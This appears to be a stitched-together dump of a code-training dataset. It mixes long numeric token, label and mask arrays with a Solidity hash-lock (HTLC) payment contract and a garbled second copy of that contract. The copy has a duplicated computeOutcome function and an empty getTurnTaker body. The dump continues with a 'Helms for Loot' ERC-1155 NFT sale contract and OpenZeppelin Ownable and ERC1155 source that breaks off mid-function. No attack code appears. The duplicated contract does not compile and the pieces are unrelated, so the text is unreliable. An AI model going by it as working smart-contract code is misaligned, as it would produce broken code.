-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.7;
pragma experimental "ABIEncoderV2";
import "../adjudicator/interfaces/CounterfactualApp.sol";
import "../funding/libs/LibOutcome.sol";
/// @title Lightning HTLC Transfer App
/// @notice This contract allows users to claim a payment locked in
/// the application if they provide a preImage and expiry
/// that corresponds to a lightning htlc
contract HashLockTransferApp is CounterfactualApp {
/**
* This app can also not be used to send _multiple_ hashlocked payments,
* only one can be redeemed with the preImage.
*/
struct AppState {
LibOutcome.CoinTransfer[2] coinTransfers;
bytes32 lockHash;
bytes32 preImage;
uint256 expiry;
bool finalized;
}
struct Action {
bytes32 preImage;
}
function applyAction(
bytes calldata encodedState,
bytes calldata encodedAction
)
override
external
view
returns (bytes memory)
{
AppState memory state = abi.decode(encodedState, (AppState));
Action memory action = abi.decode(encodedAction, (Action));
bytes32 generatedHash = sha256(abi.encode(action.preImage));
require(!state.finalized, "Cannot take action on finalized state");
require(block.number < state.expiry, "Cannot take action if expiry is expired");
require(state.lockHash == generatedHash, "Hash generated from preimage does not match hash in state");
state.coinTransfers[1].amount = state.coinTransfers[0].amount;
state.coinTransfers[0].amount = 0;
state.preImage = action.preImage;
state.finalized = true;
return abi.encode(state);
}
function computeOutcome(bytes calldata encodedState)
override
external
view
returns (bytes memory)
{
AppState memory state = abi.decode(encodedState, (AppState));
// If payment hasn't been unlocked, require that the expiry is expired
if (!state.finalized) {
require(block.number >= state.expiry, "Cannot revert payment if expiry is unexpired");
}
return abi.encode(state.coinTransfers);
}
function getTurnTaker(
bytes calldata /* encodedState */,
address[] calldata participants
)
override
external
view
returns (address)
{
return participants[1]; // receiver should always be indexed at [1]
}
function isStateTerminal(bytes calldata encodedState)
override
external
view
returns (bool)
{
AppState memory state = abi.decode(encodedState, (AppState));
return state.finalized;
}
}
| @title Lightning HTLC Transfer App @notice This contract allows users to claim a payment locked in the application if they provide a preImage and expiry that corresponds to a lightning htlc | contract HashLockTransferApp is CounterfactualApp {
struct AppState {
LibOutcome.CoinTransfer[2] coinTransfers;
bytes32 lockHash;
bytes32 preImage;
uint256 expiry;
bool finalized;
}
struct Action {
bytes32 preImage;
}
function applyAction(
bytes calldata encodedState,
bytes calldata encodedAction
)
override
external
view
returns (bytes memory)
{
AppState memory state = abi.decode(encodedState, (AppState));
Action memory action = abi.decode(encodedAction, (Action));
bytes32 generatedHash = sha256(abi.encode(action.preImage));
require(!state.finalized, "Cannot take action on finalized state");
require(block.number < state.expiry, "Cannot take action if expiry is expired");
require(state.lockHash == generatedHash, "Hash generated from preimage does not match hash in state");
state.coinTransfers[1].amount = state.coinTransfers[0].amount;
state.coinTransfers[0].amount = 0;
state.preImage = action.preImage;
state.finalized = true;
return abi.encode(state);
}
function computeOutcome(bytes calldata encodedState)
override
external
view
returns (bytes memory)
{
AppState memory state = abi.decode(encodedState, (AppState));
if (!state.finalized) {
require(block.number >= state.expiry, "Cannot revert payment if expiry is unexpired");
}
return abi.encode(state.coinTransfers);
}
function computeOutcome(bytes calldata encodedState)
override
external
view
returns (bytes memory)
{
AppState memory state = abi.decode(encodedState, (AppState));
if (!state.finalized) {
require(block.number >= state.expiry, "Cannot revert payment if expiry is unexpired");
}
return abi.encode(state.coinTransfers);
}
function getTurnTaker(
bytes calldata /* encodedState */,
address[] calldata participants
)
override
external
view
returns (address)
{
}
function isStateTerminal(bytes calldata encodedState)
override
external
view
returns (bool)
{
AppState memory state = abi.decode(encodedState, (AppState));
return state.finalized;
}
}
| 1,766,629 | [
1,
12128,
2093,
27095,
12279,
4677,
225,
1220,
6835,
5360,
3677,
358,
7516,
279,
5184,
8586,
316,
540,
326,
2521,
309,
2898,
5615,
279,
675,
2040,
471,
10839,
540,
716,
13955,
358,
279,
9052,
2093,
18962,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
2474,
2531,
5912,
3371,
353,
9354,
3493,
1462,
3371,
288,
203,
203,
565,
1958,
4677,
1119,
288,
203,
3639,
10560,
19758,
18,
27055,
5912,
63,
22,
65,
13170,
1429,
18881,
31,
203,
3639,
1731,
1578,
2176,
2310,
31,
203,
3639,
1731,
1578,
675,
2040,
31,
203,
3639,
2254,
5034,
10839,
31,
203,
3639,
1426,
727,
1235,
31,
203,
565,
289,
203,
203,
565,
1958,
4382,
288,
203,
3639,
1731,
1578,
675,
2040,
31,
203,
565,
289,
203,
203,
565,
445,
2230,
1803,
12,
203,
3639,
1731,
745,
892,
3749,
1119,
16,
203,
3639,
1731,
745,
892,
3749,
1803,
203,
565,
262,
203,
3639,
3849,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
3890,
3778,
13,
203,
565,
288,
203,
3639,
4677,
1119,
3778,
919,
273,
24126,
18,
3922,
12,
10787,
1119,
16,
261,
3371,
1119,
10019,
203,
3639,
4382,
3778,
1301,
273,
24126,
18,
3922,
12,
10787,
1803,
16,
261,
1803,
10019,
203,
3639,
1731,
1578,
4374,
2310,
273,
6056,
5034,
12,
21457,
18,
3015,
12,
1128,
18,
1484,
2040,
10019,
203,
203,
3639,
2583,
12,
5,
2019,
18,
6385,
1235,
16,
315,
4515,
4862,
1301,
603,
727,
1235,
919,
8863,
203,
3639,
2583,
12,
2629,
18,
2696,
411,
919,
18,
22409,
16,
315,
4515,
4862,
1301,
309,
10839,
353,
7708,
8863,
203,
3639,
2583,
12,
2019,
18,
739,
2310,
422,
4374,
2310,
16,
315,
2310,
4374,
628,
675,
2730,
1552,
486,
845,
1651,
316,
919,
8863,
203,
203,
3639,
919,
18,
12645,
1429,
18881,
63,
21,
8009,
8949,
273,
919,
2
] |
./full_match/80001/0x1072243BA5988b5aEd0461Ccc643ce90429C4240/sources/contracts/Contract.sol | Initial total entries
| totalEntries = 0; | 848,064 | [
1,
4435,
2078,
3222,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2078,
5400,
273,
374,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: CC0-1.0
/// @title The Helms (for Loot) ERC-1155 token
// _ _ _ ____ _ _ __
// | | | | | | / / _| | | | |\ \
// | |__| | ___| |_ __ ___ ___ | | |_ ___ _ __ | | ___ ___ | |_| |
// | __ |/ _ \ | '_ ` _ \/ __| | | _/ _ \| '__| | | / _ \ / _ \| __| |
// | | | | __/ | | | | | \__ \ | | || (_) | | | |___| (_) | (_) | |_| |
// |_| |_|\___|_|_| |_| |_|___/ | |_| \___/|_| |______\___/ \___/ \__| |
// \_\ /_/
/* Helms (for Loot) is a 3D visualisation of the Helms of Loot */
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "contracts/LootInterfaces.sol";
import "contracts/HelmsMetadata.sol";
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
}
interface IERC2981 {
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
interface ProxyRegistry {
function proxies(address) external view returns (address);
}
contract HelmsForLoot is ERC1155, IERC2981, Ownable {
// Code inspired by Rings (for Loot):
// https://github.com/w1nt3r-eth/rings-for-loot/blob/main/contracts/RingsForLoot.sol
string public PROVENANCE = "";
enum SaleState {
Paused,
Phase1, // Common helms available
Phase2, // Epic and legendary helms available
Phase3 // Mythic helms available
}
SaleState public state = SaleState.Paused;
bool public lootOnly = true;
// The Lootmart contract is used to calculate the token ID,
// guaranteeing the correct supply for each helm
ILoot private ogLootContract;
ILmart private lmartContract;
IRiftData private riftDataContract;
IHelmsMetadata public metadataContract;
// Loot-compatible contracts that we support. Users can claim a matching
// helm if they own a token in this contract and `getHead` matches helm's name
mapping(ILoot => bool) private lootContracts;
// We only allow claiming one matching helm per bag. This data structure
// holds the contract/bag ids that were already claimed
mapping(ILoot => mapping(uint256 => bool)) public lootClaimed;
// This data structure keeps track of the Loot bags that were minted to
// ensure the correct max supply of each helm
mapping(uint256 => bool) public lootMinted;
string public name = "Helms for Loot";
string public symbol = "H4L";
// Flag to enable/disable Wyvern Proxy approval for gas-free Opensea listings
bool private wyvernProxyWhitelist = true;
// Common and Epic helms can be identified by calculating their greatness, but
// to determine whether a helm is legendary or mythic, we use a list of ids
// Legendary helm ids are stored as a tightly packed arrays of uint16
bytes[5] private under19legendaryIds;
bytes[5] private over19legendaryIds;
// Pricing
uint256 public lootOwnerPriceCommon = 0.02 ether;
uint256 public publicPriceCommon = 0.05 ether;
uint256 public lootOwnerPriceEpic = 0.04 ether;
uint256 public publicPriceEpic = 0.07 ether;
uint256 public lootOwnerPriceLegendary = 0.06 ether;
uint256 public publicPriceLegendary = 0.09 ether;
uint256 public lootOwnerPriceMythic = 0.08 ether;
uint256 public publicPriceMythic = 0.11 ether;
event Minted(uint256 lootId);
event Claimed(uint256 lootId);
constructor(
ILoot[] memory lootsList,
ILmart lmart,
IRiftData riftData
) ERC1155("") {
for (uint256 i = 0; i < lootsList.length; i++) {
if (i == 0) {
ogLootContract = lootsList[i];
}
lootContracts[lootsList[i]] = true;
}
lmartContract = lmart;
riftDataContract = riftData;
// List of legendary helm ids with less than 19 greatness
// and over 19 greatness to help with rarity determination
under19legendaryIds[1] = hex"01131028039119120f7b14d2";
under19legendaryIds[2] = hex"0200109b0f441b04";
under19legendaryIds[4] = hex"01400eea06fa1c29088616e60f7c12b5";
over19legendaryIds[1] = hex"00fd148101ee0c02030a0809037013d91d501d88";
over19legendaryIds[2] = hex"064d0a68094114340b611e45";
over19legendaryIds[4] = hex"01a81d870b141087";
}
/**
* @dev Accepts a Loot bag ID and returns the rarity level of the helm contained within that bag.
* Rarity levels (based on the number of times each helm appears in the set of 8000 Loot bags):
* 1 - Common Helm (>19)
* 2 - Epic Helm (<19)
* 3 - Legendary Helm (2)
* 4 - Mythic Helm (1)
*/
function helmRarity(uint256 lootId) public view returns (uint256) {
// We use a combination of the greatness calculation from the loot contract
// and precomputed lists of legendary and mythic helm IDs
// to determine the helm rarity.
uint256 rand = uint256(
keccak256(abi.encodePacked("HEAD", Strings.toString(lootId)))
);
uint256 greatness = rand % 21;
uint256 kind = rand % 15;
// Other head armor not supported by this contract
require(kind < 6, "HelmsForLoot: no helm in bag");
if (greatness <= 14) {
return (1); // Comon Helm
} else if (greatness < 19) {
// Check if it is in the legendary list
if (findHelmIndex(under19legendaryIds[kind], lootId)) {
return (3); // Legendary Helm
}
// Else two possible mythic helms with less than 19 greatness:
else if (lootId == 2304 || lootId == 4557) {
return (4); // Mythic Helm
} else {
return (2); // Epic Helm
}
} else {
if (findHelmIndex(over19legendaryIds[kind], lootId)) {
return (3); // Legendary helm
} else {
return (4); // Mythic Helm
}
}
}
/**
* @dev Accepts an array of Loot bag IDs and mints the corresponding Helm tokens.
*/
function purchasePublic(uint256[] memory lootIds) public payable {
require(!lootOnly, "HelmsForLoot: Loot-only minting period is active");
require(lootIds.length > 0, "HelmsForLoot: buy at least one");
require(lootIds.length <= 26, "HelmsForLoot: too many at once");
uint256[] memory tokenIds = new uint256[](lootIds.length);
uint256 price = 0;
for (uint256 i = 0; i < lootIds.length; i++) {
require(!lootMinted[lootIds[i]], "HelmsForLoot: already claimed");
// Reserve Loot IDs 7778 to 8000 for ownerClaim
require(
lootIds[i] > 0 && lootIds[i] < 7778,
"HelmsForLoot: invalid Loot ID"
);
uint256 rarity = helmRarity(lootIds[i]);
if (rarity == 1) {
require(
state == SaleState.Phase1 ||
state == SaleState.Phase2 ||
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += publicPriceCommon;
} else if (rarity == 2) {
require(
state == SaleState.Phase2 || state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += publicPriceEpic;
} else if (rarity == 3) {
require(
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += publicPriceLegendary;
} else {
require(
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += publicPriceMythic;
}
lootMinted[lootIds[i]] = true;
tokenIds[i] = lmartContract.headId(lootIds[i]);
}
require(msg.value == price, "HelmsForLoot: wrong price");
// We're using a loop with _mint rather than _mintBatch
// as currently some centralised tools like Opensea
// have issues understanding the `TransferBatch` event
for (uint256 i = 0; i < tokenIds.length; i++) {
_mint(msg.sender, tokenIds[i], 1, "");
emit Minted(lootIds[i]);
}
}
/**
* @dev Allows the owner of a Loot, More Loot, or Genesis Adventurer
* NFT to claim the Helm from a Loot bag that matches the Helm in
* their bag. The address of the contract (Loot, More Loot, or GA)
* needs to be provided, together with claimIds array containing
* the IDs of the bags to be used for the claim, together with a
* corresponding lootIds array that contains the IDs of the Loot Bags
* with matching helms to be claimed. If claimRiftXP is set to true,
* each bag in the claimIds array will gain 200 XP on The Rift.
*/
function purchaseMatching(
ILoot claimLoot,
uint256[] memory claimIds,
uint256[] memory lootIds,
bool claimRiftXP
) public payable {
require(
state == SaleState.Phase1 ||
state == SaleState.Phase2 ||
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
require(lootContracts[claimLoot], "HelmsForLoot: not compatible");
if (lootOnly == true) {
require(
claimLoot == ogLootContract,
"HelmsForLoot: loot-only minting period is active."
);
}
require(lootIds.length > 0, "HelmsForLoot: buy at least one");
require(lootIds.length <= 26, "HelmsForLoot: too many at once");
uint256[] memory tokenIds = new uint256[](lootIds.length);
uint256 price = 0;
for (uint256 i = 0; i < lootIds.length; i++) {
// Reserve Loot IDs 7778 to 8000 for ownerClaim
require(
(lootIds[i] > 0 && lootIds[i] < 7778),
"HelmsForLoot: invalid Loot ID"
);
require(
claimLoot.ownerOf(claimIds[i]) == msg.sender,
"HelmsForLoot: not owner"
);
require(
keccak256(abi.encodePacked(claimLoot.getHead(claimIds[i]))) ==
keccak256(
abi.encodePacked(ogLootContract.getHead(lootIds[i]))
),
"HelmsForLoot: wrong helm"
);
// Both the original loot bag and matching bag
// (loot/mloot/genesis adventurer) to be unclaimed
require(
!lootClaimed[claimLoot][claimIds[i]],
"HelmsForLoot: bag already used for claim"
);
require(
!lootMinted[lootIds[i]],
"HelmsForLoot: loot bag already minted"
);
uint256 rarity = helmRarity(lootIds[i]);
if (rarity == 1) {
require(
state == SaleState.Phase1 ||
state == SaleState.Phase2 ||
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += lootOwnerPriceCommon;
} else if (rarity == 2) {
require(
state == SaleState.Phase2 || state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += lootOwnerPriceEpic;
} else if (rarity == 3) {
require(
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += lootOwnerPriceLegendary;
} else {
require(
state == SaleState.Phase3,
"HelmsForLoot: sale not active"
);
price += lootOwnerPriceMythic;
}
lootMinted[lootIds[i]] = true;
lootClaimed[claimLoot][claimIds[i]] = true;
tokenIds[i] = lmartContract.headId(lootIds[i]);
}
require(msg.value == price, "HelmsForLoot: wrong price");
// We're using a loop with _mint rather than _mintBatch
// as currently some centralised tools like Opensea
// have issues understanding the `TransferBatch` event
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 riftId;
// Add XP via The Rift
if (claimRiftXP == true) {
// Adjust ID for gLoot:
if (claimLoot != ogLootContract && claimIds[i] < 8001) {
riftId = claimIds[i] + 9997460;
} else {
riftId = claimIds[i];
}
riftDataContract.addXP(200, riftId);
}
_mint(msg.sender, tokenIds[i], 1, "");
emit Claimed(lootIds[i]);
}
}
function uri(uint256 tokenId) public view override returns (string memory) {
require(
address(metadataContract) != address(0),
"HelmsForLoot: no metadata address"
);
return metadataContract.uri(tokenId);
}
/**
* @dev Run a batch query to check if a set of loot, mloot or gloot IDs have been used for a claim.
*/
function lootClaimedBatched(ILoot loot, uint256[] calldata ids)
public
view
returns (bool[] memory claimed)
{
claimed = new bool[](ids.length);
for (uint256 i = 0; i < ids.length; i++) {
claimed[i] = lootClaimed[loot][ids[i]];
}
}
/**
* @dev Run a batch query to check if a set of loot bags have already been claimed.
*/
function lootMintedBatched(uint256[] calldata ids)
public
view
returns (bool[] memory minted)
{
minted = new bool[](ids.length);
for (uint256 i = 0; i < ids.length; i++) {
minted[i] = lootMinted[ids[i]];
}
}
/**
* @dev Utlity function to check a tightly packed array of uint16 for a given id.
*/
function findHelmIndex(bytes storage data, uint256 helmId)
internal
view
returns (bool found)
{
for (uint256 i = 0; i < data.length / 2; i++) {
if (
uint8(data[i * 2]) == ((helmId >> 8) & 0xFF) &&
uint8(data[i * 2 + 1]) == (helmId & 0xFF)
) {
return true;
}
}
return false;
}
// Interfaces
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
function royaltyInfo(uint256, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
receiver = owner();
royaltyAmount = (salePrice * 5) / 100;
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Allow easier listing for sale on OpenSea. Based on
// https://github.com/ProjectOpenSea/opensea-creatures/blob/f7257a043e82fae8251eec2bdde37a44fee474c4/migrations/2_deploy_contracts.js#L29
if (wyvernProxyWhitelist == true) {
if (block.chainid == 4) {
if (
ProxyRegistry(0xF57B2c51dED3A29e6891aba85459d600256Cf317)
.proxies(owner) == operator
) {
return true;
}
} else if (block.chainid == 1) {
if (
ProxyRegistry(0xa5409ec958C83C3f309868babACA7c86DCB077c1)
.proxies(owner) == operator
) {
return true;
}
}
}
return ERC1155.isApprovedForAll(owner, operator);
}
// Admin
function setProvenance(string calldata prov) public onlyOwner {
PROVENANCE = prov;
}
function setState(SaleState newState, bool newlootOnly) public onlyOwner {
state = newState;
lootOnly = newlootOnly;
}
function setMetadataContract(IHelmsMetadata addr) public onlyOwner {
metadataContract = addr;
}
function setWyvernProxyWhitelist(bool enabled) public onlyOwner {
wyvernProxyWhitelist = enabled;
}
/**
* @dev Allows the owner to mint a set of helms for promotional purposes and to reward contributors.
* Loot IDs 7778->8000
*/
function ownerClaim(uint256[] memory lootIds, address to)
public
payable
onlyOwner
{
// We're using a loop with _mint rather than _mintBatch
// as currently some centralised tools like Opensea
// have issues understanding the `TransferBatch` event
for (uint256 i = 0; i < lootIds.length; i++) {
require(lootIds[i] > 7777 && lootIds[i] < 8001, "Token ID invalid");
lootMinted[lootIds[i]] = true;
uint256 tokenId = lmartContract.headId(lootIds[i]);
_mint(to, tokenId, 1, "");
emit Minted(lootIds[i]);
}
}
/**
* Given an erc721 bag, returns the erc1155 token ids of the helm in the bag
* We use LootMart's bijective encoding function.
*/
function id(uint256 lootId) public view returns (uint256 headId) {
return lmartContract.headId(lootId);
}
function setPricesCommon(uint256 newlootOwnerPrice, uint256 newPublicPrice)
public
onlyOwner
{
lootOwnerPriceCommon = newlootOwnerPrice;
publicPriceCommon = newPublicPrice;
}
function setPricesEpic(uint256 newlootOwnerPrice, uint256 newPublicPrice)
public
onlyOwner
{
lootOwnerPriceEpic = newlootOwnerPrice;
publicPriceEpic = newPublicPrice;
}
function setPricesLegendary(
uint256 newlootOwnerPrice,
uint256 newPublicPrice
) public onlyOwner {
lootOwnerPriceLegendary = newlootOwnerPrice;
publicPriceLegendary = newPublicPrice;
}
function setPricesMythic(uint256 newlootOwnerPrice, uint256 newPublicPrice)
public
onlyOwner
{
lootOwnerPriceMythic = newlootOwnerPrice;
publicPriceMythic = newPublicPrice;
}
function withdrawAll() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function withdrawAllERC20(IERC20 erc20Token) public onlyOwner {
require(
erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)))
);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
